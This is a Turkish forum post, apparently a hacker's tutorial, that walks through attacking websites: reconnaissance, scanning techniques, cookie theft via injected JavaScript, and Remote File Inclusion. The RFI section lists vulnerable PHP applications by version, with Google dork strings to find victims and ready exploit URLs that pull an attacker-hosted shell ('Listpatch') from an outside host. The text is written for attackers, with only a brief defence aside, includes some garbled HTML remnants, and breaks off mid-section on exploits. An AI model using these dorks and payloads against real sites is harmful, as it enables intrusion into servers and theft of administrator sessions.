MySouLNeedLove
New member
Attacker’ların çoğalmasına paralel olarak, web uygulamaları da artmakta ve güvenlik konusunda daha iyi noktalara ulaşmakta. Güvenlik önlemleri, korsanların işlerini bir nebze de olsa zorlaştırmaktadır. Ancak unutulmamalıdır ki, tamamiyle güvenli sistem yoktur. Sizler de bilirsiniz ki, Google.Com bile MyDoom virüsü ile saatlerce yayından çıkarıldı, öte yandan AOL.Com Attacker’lar tarafından Domain Hi-Jacking bile edildi. Bunlar ışığında, en güvenli sistem fişi çekili olandır sözünü doğrulayabiliriz.
Bu yazıda bir Attacker’ın hedef site karşısında somut veriler ele geçirmesi için yapması gereken, uygulaması gereken adımlar (tamamiyle olmasa da) anlatılmaktadır. Fazla söze gerek yok başlayalım;
Arkadaşlar öncelikle A şahsının bir hırsız olduğunu varsayalım. Bu şahsın hedef olarak B ’yi seçtiğini düşünelim. A, B’nin evine sızabilmek için öncelikle geniş çapta bir araştırma yapacak. Örneğin; B şahsı saat kaçta evden çıkacak, evin konumu, girebileceği yerler..vs.
Bizlerin A şahsı olduğunu ve hedef sistemin B şahsı olduğunu düşünürsek, sisteme sızabilmek için öncelikle araştırma şart. Bu araştırma nasıl ve hangi çapta olabilir. Öncelikle araştırmamızı yapabileceğimiz alanlar;
** Whois Sorgulaması
** IP Sorgulamaları
** DNS Sorgulaması
** Arama Motorlarından Faydalanma
** Elde Edilen Verilerin Birleştirilmesi
Veri toplama aşamasında bu basamakları uygulayacağız. Sırasıyla açıklayalım.
**Whois Sorgulama:
Bir sistenin Whois Veritabanı, Domain’in veya Internet Protocol Adress ( IP Adresi) ’ inin ait olmuş olduğu kurum, kuruluş veya şahısların bilgilerini içermesinden dolayı bizim için önemlidir. Ayrıca Whois Veritabanı hedef sitenin DNS adreslerini, Domain’in Date Expire tarihini, sitenin IP adresini, irtibat adreslerini, Domain’i regleyen (kaydeden) şahsın e-mail adresi, telefon bilgileri gibi önemli detayları da kapsar. Bu nedenle bizim açımızdan önemlidir. Şöyle ki, hem NS adresleri hem de bazı kritik bilgileri içeriyor ve bu verileri hem hedef server’a girmede hem de sosyal mühendislikte kullanabiliriz. Whois sorgulama hizmeti veren bir çok site bulunmaktadır. Bunlar arasında en iyi sonuçlar verenlerden birkaçı ;
http://www.whois.sc
http://allwhois.com
Bu iki siteden tüm whois verilerine ulaşabilirsiniz.
**IP Sorgulama:
Internet’te bulunan her bilgisayarın kendine ait bir adresi vardır. Bu adres Internet üzerinde bilgisayarların birbirlerini tanımalarını ve iletişim kurmalarını sağlar ve numaralarla ifade edilir. IP adresleri noktayla ayrılmış 4 değişik rakam kümesinden oluşur ve 0-255 arasındaki rakamlardan oluşur. Örnek: 209.67.50.203. Alan adları ise bu rakamlara isimler vererek daha kolay hatırlanmasını sağlar. Her Alan Adı, yukarıda anlatılan tarzda bir rakamsal adrese bağlıdır. www.sitebenim.com yazdığınız zaman bilgisayar bu ismi rakamlara çevirir, Internet üzerinde hangi bilgisayarda durduğunu kontrol eder ve trafiği bu adrese yönlendirir.
Sisteme sızma aşamasında Whois sorgusundan sonra 2.önemli konu IP Sorgulamadır. Çünkü IP sorgulama ile hedef sistemin büyüklüğünü yani subnets dediğimiz sisteme ait alt ağ bloklarını öğrenmeden bir profil çıkaramayız. Bunu öğrenmek için de hedef sistemin Internet Protocol adresini öğrenmemiz gerekecektir. Buradan da subnets’i yapacağımız sorgularla öğrenebiliriz. Şu an için dünyada 4 büyük internet temsilcisi vardır.
* A.R.I.N Veritabanı( American Registry For Internet Numbers ) – Amerika Kıtasına…
* A.P.N.I.C Veritabanı ( Asia Pasific Network Information Centre ) Asya ve Pasifiklere…
* L.A.C.N.I.C Veritabanı ( Latin American and Caribbean IP Address Regional Registry ) Latin Amerika ve Karayiplere…
* R.I.P.E Veritabanı ( Réseaux IP Européens Network Coordination Centre ) Avrupa Kıtasına…
Bu servislerden yararlanarak sistemin alt ağ bloklarını öğrenebiliriz.
**DNS Sorgulaması
Domain Name System (alan adi sistemi) aslında bir veritabanıdır. sistem makine isimlerini IP adreslerine, IP adreslerini ise makine isimlerine çevirir. bunun yanı sıra alan adı için gerekli e-posta sunucusu adreslerini ve alan adı sunucu adresleri gibi bilgileri (resource records) saklar.
DNS üstlendiği görev gereği hızlı olmak zorundadır. Bu yüzden sorgulamalar 512 bayttan küçük ise UDP üzerinden çalışacaktır.DNS sistemi yazarları DNS için gerekli bilgileri RFC lerde tanımlamışlardır. (1034 ve 1035).
Örneğin www.sitebenim .biz adresine karşılı...ca biz web gezginimize [url]www.sitebenim.biz adresini yazıp bilişim ordumuzun sitesine girmek istediğimizde geri planda sessizce çalışıp bizi doğru sunucuya yönlendiren sistemdir veya [email protected] e-posta adresine mail attığımız zaman x-master.biz alan adinin MX kayıtlarını bize söyleyerek bizim e-posta sunucumuzun doğru e-posta sunucu ile konuşmaya başlamasını saylayan yine dns tir.
Hedefle ilgili Whois sorgusunda DNS bilgilerini NS veya Domain servers olarak görürüz. Bundan sonra ise DNS sorgulaması yaparak daha fazla veriye ulaşacağız. Eğer DNS suncusunda konfigürasyon hatası varsa yani yanlış konfigüre edilmişse, Zone Transfer yapabilir ve DNS sunucudan çalıştığı domain ile ilgili tüm verileri isteyebiliriz. Anlattığımız DNS sorgulamasını da run’a "nslookup" yazarak manuel olark yapabiliriz. Veya Sam Spade türü bir prg. kullanabilirsiniz.
**Arama Motorlarından Faydalanma
Arama motoru (search engine), dünyadaki hemen hemen tüm web sitelerinin listelendiği, kategorilere ayrılmış, aradığımız bilgileri en kısa yoldan ve hızlı bir şekilde ulaşmamızı sağlayan web siteleridir.
İnternet üzerinde yüzlerce hatta binlerce arama motoru bulunmaktadır. Bunların bir kısmı kendi alanlarındaki web sitelerini listelemekte, bir kısmı yerel alanlarda hizmet vermektedir. Bir kısmı da dünya üzerindeki her türlü web sitesini listelemektedir. Arama kriterlerini en aza indirmek arama motorlarındaki komut satırına (yanlarında Search, Find It, Get It gibi tuşlar bulunan kutucuklar) herhangi bir kelimeyi yazdığımızda, bu arama motoru bu kelimenin geçtiği tüm dökümanları listeler. Oysa bu dökümanların içinde işimize yaramayan öyle çok döküman listelenir ki, işimize yarayanı bulmakta zorlanmaya başlarız. Mesela bu arama motorlarından bir tanesine web yazıp aramasını istediğiniz zaman, karşımıza yüzbinlerce sayfa çıkar. Diğer taraftan " web sayfası" yazıp aramasını istediğimiz zaman ise hem içinde web geçen hem de sayfası geçen tüm dökümanları listeleyeceğinden bu sefer milyonlarca döküman çıkacaktır. Oysa bunun için, internetin her yerinde olduğu gibi, büyük bir kolaylık sağlayan arama parametreleri vardır. Bu parametreleri kullanarak aradığımız dökümanlara doğrudan ulaşabiliriz.
Arama motorları 3 temel parçadan oluşur:
* Spider: İlki "spider,bot,ant" gibi isimlere sahip olan programlar. Bu programlar interneti dolaşıp sayfaları tespit edip veritabanlarına kaydederler.
* Veritabanı: Spider tarafından ziyaret edilen, her sayfanın kopyası burada saklanır. Sayfanızda yaptığınız değişiklikler, spider tekrar uğrayıncaya kadar arama motorlarında yer almaz. Arama yapıldığında, sayfanız veritabanındaki son haline göre değerlendirilip, sıralanır. Bu yüzden kullanıcılar, ölü linkler yada çok farklı içeriklerle karşılaşabilmektedir. Google.com’da "Önbellekten oku" komutuyla kayıtlı sayfanın Google’un veritabanındaki halini görebilirsiniz.
* Sıralama mekanizması: Üçüncü parçada sıralama mekanizmasıdır. Kullanıcın yaptığı aramaya göre, en uygun şekilde sayfaları sıralamaya çalışır. Her arama motorunda bu parçalar farklı çalışır. Bazılarında, sayfanızda frame, image map kullanmanız sorun yaratabilir. Bazıları, veritabanına alt tag larını kaydetmez.
Herbiri kendi yöntemini geliştirerek, ziyaretçilerine en iyi sonuçları getirmeye çalışır. Arama motorları, siteniz için önemliyse, kodlarınızı arama motorlarına uyumlu hale getirmeli, ve üst sıralarda yer alabilmek için, optimize etmeniz gerekmetedir.
* Arama Motorunda Sıralama Nasıl Yapılır?
Arama motorları, sayfanızı inceleyip kelimelerin kullanılma oranlarını, yerlerini ve şekillerini ölçer. Bir kelime diğerlerine göre, çok sık olarak, hem başlıkta, hem yazılarda, hem resimlerin açıklamalarında kullanılmışsa, o sayfanın o kelimeye yönelik içeriğe sahip olduğu kanısına varılır. O kelimeyle arama yapıldığında, o sayfa, kelimeyi daha az kullanan yada başlığında o kelimeye yer vermeyen sitelere göre daha üst sırada yer alır.
* Arama Parametreler Nelerdir?
Arama parametreleri, arama motorlarına göre zaman zaman değişkenlik içerse de, tüm arama motorlarında geçerli olan bir kaç parametre vardır. İşte bunlardan birkaçı:
+ parametresi "ve" anlamına gelir. Arama satırına web sayfası yerine web+sayfası yazarsak, arama motoru artık bize içinde sadece web sayfası geçen dökümanları listeleyecektir. Bu dökümanların içinde web kelimesi ortada sayfası kelimesi başta veya sonda olabilir. Bu işimizi biraz daha kolaylaştırmış olacaktır. Ama hala tam aradığımız döküman bu olmayabilir. O zaman da;
"" parametresini kullanmalıyız. Yani "web sayfası" yazıp aranmasını istediğimiz zaman, içinde sadece web ve sayfası yan yana geçen dökümanlar listelenecektir.
- parametresi arama motorunun arama satırına "web sayfası" - eğitim yazarak aramasını istediğimiz zaman, arama motoru, içinde web ve sayfası yan yana bulunan ama eğitim kelimesi içermeyen tüm dökümanları listeleyecektir.
Bir Cracker bahsettiğimiz şekilde, gelişmiş crawler’lara sahip olan arama motorlarını kullanarak sitenin kritik bilgilerine ulaşabilmektedir. Bu da webmaster’ların tecrübesizliğinden veya dikkatsizliğinden kaynaklanır. Hatta öyle ki, sitelerin MySQL şifrelerine bile, deneyimsiz webmaster’lar sayesinde ulaşabiliyoruz.
** Eldeki Verileri Birleştirme
Son aşama olarak Veri toplama aşamasında elimizdeki verileri birleştiriyoruz. Ve buna göre bir strateji çiziyoruz. Mesela; whois sorgusunda elde edilen verileri sosyal müh. kullanabilir veya IP sorgusundan öğrendiğimiz verilerle serverda bulunan siteleri öğrenebilir ve RFI ile server’a girebiliriz.Veri toplama aşamasından sonra saldırıya hazırlık aşamasına geçiyoruz. Burada öncelikle tarama işlemini yapıyoruz.
Veri toplama aşamasından sonra Remote Attack aşamasına geçiyoruz…Bu aşamada yapacaklarımız ;
** Port Tarama
** CGI Saldırıları
** Cookie Saldırıları:
** Remote File Inclusion
** Veritabanına Yapılabilecek Saldırılar
** E-Posta Saldırıları
** Exploit Saldırıları
** DOS Attack
** DDOS Attack
Hemen işe koyulalım..
** Port Scanning / Port Tarama
Bir sistemin taranması, temel olarak hedef konumunda bulunan ağda bulunan bileşenleri ve bu bileşenlere yetkisiz olarak erişim hakkına sahip olmak için yapılmaktadır. Tarama,aktif sistemlerin belirlenmesi, işletim sistemlerinin saptanması ve bu bileşenlerin hedef ağdaki lokasyonunun belirlenmesi gibi basamaklardan oluşur.
İlerleyen teknolojinin ürünü olarak birçok işletim sisteminde birden fazla program aynı anda çalışmakta ve çalışan bu programlardan bazıları da dışardan gelen request (istek)’lere açık olmaktadırlar. Uygun görülen request’lere response (cevap) vermektedir.
Sunucu programları çalışan bilgisayarlara verilen IP adresleri ile istenilen bilgisayarlara ulaşılır. Ulaşılan bilgisayarlar üzerindeki hangi sunucu programdan hizmet almak istendiğini belirlemek ise port’lar aracılığıyla sağlanır. Bu işlemi sağlayabilmek için bilgisayarlar üzerinde sanal bağlantı noktaları oluşturulur ve her bağlantı noktasını adresleyebilmek için Port numarası dediğimiz pozitif rakamlar verilir. Port numaraları 2 byte olarak tutulur. 1024’ten küçük olan port numaraları Root dediğimiz özel yetkilere sahip kullanıcılar tarafından kullanılır. Büyük olanlar ise normal kullanıcılar tarafından kullanılmaktadır.
Port kavramını öğrendikten sonra Attacker’ların, Port’lardan faydalanma eylemine değinelim.
Attacker sistem hakkında yeteri kadar veri topladıktan sonra yapacağı ise hedef sistemin TCP veya UDP Portlarına bağlanarak hangi port’un açık olduğunu belirlemek veya hangi port’un dinleme durumunda olduğunu saptamaktır. Yani Port Taraması yapmaktır.
Temel Port Tarama Yöntemleri
İlerleyen teknoloji ile birlikte hacking yöntemleri de ilerleme kaydetti. Sürekli geliştirilen yöntemler, güvenlik yazılımları tarafından etkisiz kalınca yeni yöntemlerin keşfedilmesine sebebiyet verdi.
Son zamanlarda Port tarama işlevinin birçok yöntemi geliştirildi. Geliştirilen yolların hemen hemen hepsi Nmap programının Coder’ı (Kodlayıcısı) "Fyodor" ’un ürünüdür. Şimdi Port Tarama Yöntemleri’ne tüm yönleriyle değinelim
Devamı Gelecek..
TCP Connect Scan
Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma birimleri arasındaki iletişimi sağlayan, bu yolla veri transferini mümkün kılan yapıdır.
TCP’nin İşleyişi: TCP Oturumu öncelikli olarak bir sunucudan servis ister, diğer istemci ise response olarak (eğer bağlantı isteği kabul edilirse) SYN Flag (SYN Bayrağı) ’ı kalkık paketini sunucu bilgisayara iletir. Paketi alan sunucu ise, gönderene response olarak SYN Paketini aldığını ve bağlantı request’ini onayladığını göstermek için SYN Bayrağı kaldırılmış (set) paketi yani SYN-ACK Paketini istemci bilgisayara gönderir. Son aşamada ise sunucu makinenin gönderdiği SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini göndererek yollanan paketi aldığını bildirir
Bahsi geçen tarama yöntemi yani TCP Connect Scan işlemi ise anlattığımız oturum açma işlemini gerçekleştirir ve oturum açıldığı zaman bağlantıyı keserek bize portun durumunu, açık veya kapalı olduğunu gösterir.
Yalnız Attacker bu yöntemi zor durumda kalmadığı zaman yapmaz. Çünkü oturum açma isteği gönderildikten ve bu işlem gerçekleştikten sonra isteği gönderen cihazın IP Adresi kaydedilir. Ama zorunlu durumlarda ve hedef sistemin portunun kesin bir şekilde açık veya kapalı olarak öğrenilmek istenmesi durumunda bu yol garantidir.
ð TCP SYN SCAN
TCP Connect Scan işleminde, bu yolun riskli olduğunu çünkü IP Paketlerinin loglandığını söylemiştik. Loglama işlemi, istemci bilgisayarın Oturum açtığı anda olur. Oturum açılırsa log tutulur.
TCP SYN Scan yarı-açık tarama olarak da bilinir. Bu tabirin bahsi geçen tarama yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak oturum açmamasından dolayıdır. TCP SYN Scan SYN bayraklı paketi gönderir ve SYN/ACK bayraklı paketi alır. Oturum açmayı ise RST/ACK bayraklı bir paket göndererek reddeder.
Eğer hedef port açık ise SYNC/ACK paketi gelir. Oturum açılmadığından dolayı da loglanma ihtimali ortadan kalkar.
ð TCP FIN Scan
TCP Connect ve TCP Syn Scan işlemlerinde oturum açma işlevlerine değindik. TCP FIN Scan’de ise Oturum açılmadan hedef portların açık veya kapalı olma durumları öğrenilir.
TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir. *RFC793 ‘ e göre kapalı durumda olan bir port, bağlantı durumu söz konusu olmadan aldığı FIN paketine, RST Paketiyle cevap verir. Yani hedef porta gönderdiğimiz FIN Paketlerine eğer cevap gelirse port kapalıdır, eğer cevap gelirse port açıktır.
ð SYN/FIN Scannig Using IP Fragments
Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelişmiş bir türüdürdiyebiliriz. Bu tarama yönteminde herhangi bir paket gönderilmez. Hedef porta paketleri daha küçük IP Fragmenti olarak gönderilir. Bu işlem Attacker’ın yaptığı işin anlaşılmasına engel olmak içindir.
ð TCP Xmas Tree Scan
Bu tarama yöntemi TCP SYN taramasına benzer. Hedef porta FIN (No More Data From Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function) bayraklı paketler gönderir ve kapalı olan portalardan RST cevabı beklenir. Eğer cevap gelmezse hedef portlar açıktır. (RFC793’e göre / http://www.ietf.org/rfc/rfc0793.txt)
ð TCP Null Scan
Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek port’ların açık ve kapalılık durumlarını öğrenmiştik. Bu tarama yönteminde ise TCP Xmas Tree’nin tam tersine bayrak taşımayan bir paket gönderilir. Daha öncede belirttiğimiz gibi RFC793’e göre kapalı durumlardaki portlardan RST cevabı gelir. Eğer cevap gelmezse hedef port açıktır.
ð TCP ACK Scan
Bu tarama yönteminde Attacker, eğer hedef Firewall kullanıyorsa kullandığı Firewall’u bypass etme ve hedef portların açık ve kapalılık durumlarını öğrenebilir.
TCP ACK Scan’in genel mantığı statik veya dinamik paket filtrelemede firewall’ların bağlantıyı ilk başlatan tarafı hatırlayamamasıdır. Bazı firewall’lar onaylanmış olan bağlantılara izin verir ve ACK (Acknowledgment Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden geçmesi mümkün kılınabilir, hedef portlar firewall’a rağmen taranabilir.
ð TCP FTP Proxy (Bounce Attack) Scan
Bu tarama yöntemi FTP Proxy’lerin Bounce adını verdiğimiz özelliğinden faydalanır. RFC959 tanımına göre, FTP Protokolünün Proxy FTP bağlantısına izin verir. Bu bağlantı sayesinde server-PI (Protocol Interpreter)’e ağdaki herhangi bir yere dosya yollayabilecek server-DTP (Data Transfer Process) isteği aktif edilebilir. Bu açık özellikle firewall arkasında bağlı bulunan bir FTP’ye bağlandığımız zaman sunucuya kendi port’larını taratması sağlandığı için çok tehlikeli bir tarama türüdür. Çünkü Firewall bypass edilmiş olur.
ð TCP Windows Scan
TCP ACK taramasına benzer.
Bu tarama türü TCP Windows Size’dan kaynaklanan hataları baz alarak bazı işletim sistemlerinde portların açık ve kapalılık durumunu ya da filtreli olma durumlarını kontrol eder.
ð TCP RPC Scan
Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak İşlem Çağrıları) port’larından aktif halde çalışan işlemleri ve sürümleri öğrenebiliriz. Eğer sistemde çalışan RPC’ler ile ilgili hata ve aksaklıklar mevcut ise bunlar Attacker için sisteme girmek için bir yoldur.
(Sadece Unix tabanlı sistemlerde mevcuttur)
ð UDP Scan
Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanlı idi. TCP tabanlı taramalarda, sıra numaraları, kod bitler dediğimiz yapılar vardı. Ancak UDP’de böyle bir şey mevcut değildir. UDP ’de paketler direk gönderilir ve kaybolan paketlerin yenisi gönderilmez.
Bu yöntem hedef sisteme UDP Paketlerini gönderme işlemini baz alır. Eğer gönderilen UDP Paketlerine response olarak "ICMP Port Unreachable" mesajı alınırsa port kapalıdır demektir. Eğer bu responsa alınmazsa port’un açık olduğu anlaşılır. Bu işlemleri yaparken acele etmemek gerekir. Çünkü bant genişliği probleminden dolayı gelmesi gereken mesaj paketi gecikebilir. Ve eğer ivedi davranılırsa port’un açık olduğu o nedenle cevap gelmediği düşünülebilir. Ama port açıktır ve bu hatadan dolayı Attacker amacına ulaşamayabilir.
ð Ident Scan
Ident Protokolü RFC1413’te tanımlanmış bir protokoldür.Bu tarama hedef sistem üzerinde eğer Identd aktif olarak bulunuyorsa, sistemde çalışır vaziyette olan servislerin listesine ve bu servisleri çalıştıran kullanıcı isimlerine ulaşmak için yapılır. Eğer Identd aktif değilse bu tarama türü işe yaramayacaktır.
Eğer bunları yapamıyorsanız;
SSS ( Shadow Security Scanner )
NSS ( GFI LANGuard Network Security Scanner )
Acunetix Web Vulnerability Scanner
Retina Network Security Scanner
Satan / SAINT
N-Stealth
Gibi Scanner’ları kullanarak belli başlı açıkları ve açık portları öğrenebilirsiniz. Portların durumunu öğrendikten sonra gerekli işlemleri yapabilirsiniz.
Port taramadan sonra daha da detaya inmek isterseniz, hedefin işletim sistemini öğrenebilir, NetBios - CIFS/SMB taraması yapabilirsiniz. Ne kadar detaya inerseniz, eldeki veriler o kadar artar.
** Korunma Yöntemleri
Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir. Veya IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir. Şöyle ki; bir kaynak IP adresinden bir noktaya belirli bir "t" süresi dahilinde gelen SYN paketlerini sayan ve anormal sayıda aynı adrese connection kurmaya çalışan ya da birden fazla porta "t SYN "paketi gönderen IP
Adresleri otomatik olarak bloke edilir. Bu teknik engellemekteden daha ziyade artificial-intelligiance ile gerçekleştirilebilen bir savunma yöntemidir.
Port taramasından korunmak için kullanılan bir başka yöntem ise Firewall dediğimiz Güvenlik Duvarlarının kullanımıdır. Piyasada bulunan Firewall’ların çoğu Port taramalarını engelleyebilme özelliğine sahiptir. Hatta Nmap’in yaptığı gizli port taramalarını bile yakalayabilme kabiliyetine mevcut Firewall’lar vardır. Tavsiye edebileceğimiz Firewall’lar; hem güvenlik duvarı hem de saldırı tespit sistemi olan Zone Alarm (http://www.zonelabs.com/SPAN), IIS net firmasının Windows tabanlı saldırı tespit programı olarak yazdığı BlackICE ( http://www.blackice.iss.net/index.php/SPAN) ‘tır.
** CGI Saldırıları:
CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır. CGI, aslında bir programdır. Web’in statik yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik kazandırmaktadır. En popüler CGI uygulamalarından birisi Web Sayaçlarıdır. Web sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfası içinden çağrılabilir. CGI programları gerçek zamanlı çalışırlar. CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabı göndermektir.
CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir!! Bu yüzden, cgi kodları sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır.
CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb. CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir.
Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır. Öte yandan, CGI programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarını kullanırlar. Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır.
C.G.I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyaları kullanabilmesini sağlayan basit araçlardır. Uzun zamandan beri Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda. Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir. Şöyle ki; CGI açıklarından faydalanarak hedef siteyi hack’leyebiliriz, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapıları bırakabiliriz.
** Cookie Saldırıları:
Cookie, web sunucusunun bilgisayarınızda sakladığı bir dosyadır. Çerezler sizi bir web sitesine döndüğünüzde tanıyabilmek için kullanılır.
Web siteleri sıklıkla sizin bilgisayarınıza çerezleri kaydeder ki siz tekrar bu siteye döndüğünüzde sunucuları sizi tanısın ve sizin daha önceden yaptığınız değişiklikleri ve özelleştirmeleri size gösterebilsin.
Siz kendi isteğinizle bilgilerinizi sunmadığınız sürece, bir çerez sadece aşağıdaki bilgileri taşıyabilir:
* Sizin daha önce siteyi ziyaret etmiş olduğunuzu
* Siteyi ziyaret tarihinizi
* Hangi sayfaları ziyaret ettiğinizi
* Siteyi son ziyaretinizde kullandığınız üye adını
Arkadaşlar eğer hedef sistemimiz, kodlanma sürecinde bir takım hatalar yapmışsa, sistemde bir takım zafiyetler ve güvenlik açıkları vardır demektir. Biz de bu sistem hatalarından faydalanarak sistemde kayıtlı olan cookie leri kullanabiliriz. bu sayede sistem yöneticisinin ID’iyle siteye login olabiliriz. Bu işi yapabilmek için sistem üzerinde JS kodları çalıştırarak ve cookie leri belirlediğimiz yere post edeceğiz. Son aşamada ise ele geçirdiğimiz cookie leri amacımıza göre kullanmak için cookie editorler ile derleyeceğiz.
** Remote File Inclusion
Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme sızma yöntemidir. Bu saldırının verebileceği büyük zarar ise, RFI açığı olan site üzerinden, aynı serverda bulunan tüm sitelere sızılabilmesi. Bu yüzden bu güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına girmiştir.
Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar. Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi gerekiyor. Listpatch PHP destekli bir hosta (Örn:http://hometown.aol.com) yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir. Örnek bir RFI açığı barındıran siter
http://www.example.com/path_to_qnews/q-news.php?id=/SPANSPAN style=font-SIZE: 10pt; COLOR: black; font-FAMILY: Verdana> color=#666666Attacker List Patch]
http://www.example.com/path_to_phpgreetz/content.php?content= [Attacker List Patch]
http://www.example.com/PATH/admin/plog-adminfunctions.php?configbasedir=Attacker ListPatch]
**
Example.Com -> RFI bulunduran site
[Attacker Listpatch] -> Saldırganın Listpatch’i upload ettiği link
Shell upload edilen linkten, server’daki siteler de sömürülebilir..
Örnek RFI Açıkları:
ACal <= 2.2.6 Remote File Inclusion Vulnerability
Google Keyword = intitle:"Login to Calendar"
RFI : http://URL/calendar_path/embed/day.php?path= Listpatch
*****************
ActualAnalyzer Server <= 8.23 (rf) Remote File Include Vulnerability
Google Keyword= "ActualScripts, Company. All rights reserved."
RFI :http://[URL]/direct.php?rf=Listpatch
http://[URL]/direct.php?rf= Listpatch
****************
Blend Portal <= 1.2.0 (phpBB Mod) Remote File Inclusion Vulnerability
RFI : http://URL/phpBB/blend_data/blend_common.php?phpbb_root_path= Listpatch
****************
CaLogic Calendars 1.2.2 (CLPath) Remote File Include Vulnerabilities
Google Keyword: CaLogic Calendars V1.2.2
RFI : http://URL/path/reconfig.php?GLOBALSCLPath]= Listpatch
http://URL/path/srxclr.php?GLOBALSCLPath]= Listpatch
****************
CBSMS Mambo Module <= 1.0 Remote File Include
RFI : http://URL/path/mod_cbsms_messages.php?mosConfig_absolute_path= Listpatch
****************
DoceboLMS <= 2.0.5 (help.php) Remote File Include Vulnerability
Google Keyword: Docebo LMS 2.05
RFI : http://URL/DOCEBO205/modules/credits/help.php?lang= Listpatch
****************
ezUserManager <= 1.6 Remote File Inclusion Vulnerability
Google Keyword: "powered by ezUserManager"
RFI : http://URL/path/ezusermanager_pwd_forgott.php?ezUserManager_Path= Listpatch
****************
GeekLog <= 1.4. Remote File Include
Google Keyword: “powered by geeklog”
RFI: http://URL/path/plugins/links/functions.inc?_ConFpath]= Listpatch
http://URL/path/plugins/polls/functions.inc?_ConFpath]= Listpatch
http://URL/path/plugins/spamx/BlackList.Examine.class.php?_ConFpath]= Listpatch
http://URL/path/plugins/spamx/DeleteComment.Action.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/EditIPofURL.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/MTBlackList.Examine.class.php?_ConFpath]= Listpatch
http://URL/path/plugins/spamx/MassDelete.Admin.class.php?_ConFpath]= Listpatch
http://URL/path/plugins/spamx/MailAdmin.Action.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/MassDelTrackback.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/EditHeader.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/EditIP.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/IPofUrl.Examine.class.php?_ConFpath color=#666666=Listpatch
http://URL/path/plugins/spamx/Import.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/LogView.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/staticpages/functions.inc?_ConFpath=Listpatch
** Veritabanına Yapılabilecek Saldırılar
Bu aşamada ise SQL Inj. Kullanıyoruz. SQL Inj. Çok detaylı bir konu olduğundan dolayı buraya yazmıyorum. Cyber-Warrior / Doküman modülünde gerekli bilgiyi bulabilirsiniz.
** E-Posta Saldırıları
E-Mail saldırılarıyla Domain Hi-Jacking yapabilirsiniz. Bunu daha önce yazdığım bir diyagramla göstereyim.
** Exploit Saldırıları
Bildiğimiz gibi Dos türü sistemlerde tek kullanıcı sistemi kullandığı için dosyalara erişme, değişebilme, okuyabilme yetkisine sahipti. Ancak işletim sistemlerinin gelişmesiyle beraber çok kullanıcılılığın başlamasıyla user’ların yetkisi de söz konusu olmaya başlamıştır. Her işletim sisteminde bir yönetici vardır ( Novell=Supervisor, Linux=Root, Win=Administrator.vs gibi] İşte bu tür sistemlerde yetkiyi artırmak için attacker lar exploit dediğimiz programları yazmış ve kullanmaya başlamışlardır.
Exploitler Local Exploit ve Remote exploit olmak üzere iki dalda incelenir. Remote exploit uzaktan erişim için yapılır ve sistemin user’ı olmanızı gerektirmez ama local exploitlerde sistem user’ı olmanız gerekir
Exploitlerin işleyişi:
